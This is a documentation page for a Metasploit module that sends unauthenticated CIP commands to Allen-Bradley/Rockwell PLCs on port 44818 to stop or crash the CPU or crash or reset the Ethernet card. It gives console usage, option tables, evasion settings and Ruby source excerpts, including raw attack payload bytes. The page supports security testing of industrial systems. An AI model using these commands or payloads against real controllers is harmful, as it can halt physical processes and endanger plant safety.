Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/multi_cip_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands
Module: auxiliary/admin/scada/multi_cip_command
Source code: modules/auxiliary/admin/scada/multi_cip_command.rb
Disclosure date: 2012-01-19
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 44818
List of CVEs: -

The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which implements the protocol. This module implements the CPU STOP command, as well as the ability to crash the Ethernet card in an affected device. This module is based on the original 'ethernetip-multi.rb' Basecamp module from DigitalBond.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/scada/multi_cip_command
msf auxiliary(multi_cip_command) > show targets
    ... a list of targets ...
msf auxiliary(multi_cip_command) > set TARGET target-id
msf auxiliary(multi_cip_command) > show options
    ... show and set options ...
msf auxiliary(multi_cip_command) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/scada/multi_cip_command auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/multi_cip_command

msf6 auxiliary(admin/scada/multi_cip_command) > show info

       Name: Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands
     Module: auxiliary/admin/scada/multi_cip_command
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-19

Provided by:
  Ruben Santamarta <[email protected]>
  K. Reid Wightman <[email protected]>
  todb <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  ATTACK  STOPCPU          yes       The attack to use. (Accepted: STOPCPU, CRASHCPU, CRASHETHER, RESETETHER)
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   44818            yes       The target port (TCP)

Description:
  The EtherNet/IP CIP protocol allows a number of unauthenticated 
  commands to a PLC which implements the protocol. This module 
  implements the CPU STOP command, as well as the ability to crash the 
  Ethernet card in an affected device. This module is based on the 
  original 'ethernetip-multi.rb' Basecamp module from DigitalBond.

References:
  http://www.digitalbond.com/tools/basecamp/metasploit-modules/

Module Options


This is a complete list of options available in the admin/scada/multi_cip_command auxiliary module:

msf6 auxiliary(admin/scada/multi_cip_command) > show options

Module options (auxiliary/admin/scada/multi_cip_command):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   ATTACK  STOPCPU          yes       The attack to use. (Accepted: STOPCPU, CRASHCPU, CRASHETHER, RESETETHER)
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   44818            yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the admin/scada/multi_cip_command auxiliary module:

msf6 auxiliary(admin/scada/multi_cip_command) > show advanced

Module advanced options (auxiliary/admin/scada/multi_cip_command):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/scada/multi_cip_command module can do:

msf6 auxiliary(admin/scada/multi_cip_command) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/scada/multi_cip_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/multi_cip_command) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - CIP - Interrupt during payload


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - CIP - Interrupt during payload" error message:

64:	    packet += [sessionid].pack("N") # session identifier (4 bytes)
65:	    packet += payload #payload part
66:	    begin
67:	      sock.put(packet)
68:	    rescue ::Interrupt
69:	      print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
70:	      raise $!
71:	    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
72:	      print_error("#{rhost}:#{rport} - CIP - Network error during payload")
73:	      return nil
74:	    end

<RHOST>:<RPORT> - CIP - Network error during payload


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - CIP - Network error during payload" error message:

67:	      sock.put(packet)
68:	    rescue ::Interrupt
69:	      print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
70:	      raise $!
71:	    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
72:	      print_error("#{rhost}:#{rport} - CIP - Network error during payload")
73:	      return nil
74:	    end
75:	  end
76:	
77:	  def req_session

<RHOST>:<RPORT> - CIP - Got invalid session id, aborting.


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - CIP - Got invalid session id, aborting." error message:

91:	      if response
92:	        session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
93:	        if session_id
94:	          print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
95:	        else
96:	          print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
97:	          return nil
98:	        end
99:	      else
100:	        raise ::Rex::ConnectionTimeout
101:	      end

<RHOST>:<RPORT> - CIP - Interrupt during session negotation


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - CIP - Interrupt during session negotation" error message:

98:	        end
99:	      else
100:	        raise ::Rex::ConnectionTimeout
101:	      end
102:	    rescue ::Interrupt
103:	      print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
104:	      raise $!
105:	    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
106:	      print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
107:	      return nil
108:	    end

<RHOST>:<RPORT> - CIP - Network error during session negotiation: <E>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - CIP - Network error during session negotiation: <E>" error message:

101:	      end
102:	    rescue ::Interrupt
103:	      print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotation")
104:	      raise $!
105:	    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
106:	      print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
107:	      return nil
108:	    end
109:	    return session_id
110:	  end
111:	

<RHOST>:<RPORT> - CIP - Invalid attack option.


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - CIP - Invalid attack option." error message:

128:	      payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
129:	      "\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
130:	    when "RESETETHER"
131:	      payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
132:	      "\x05\x03\x20\x01\x24\x01\x30\x03"
133:	    else
134:	      print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
135:	      return nil
136:	    end
137:	  end
138:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Ruben Santamarta <ruben[at]reversemode.com>
  • K. Reid Wightman <wightman[at]digitalbond.com>
  • todb

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.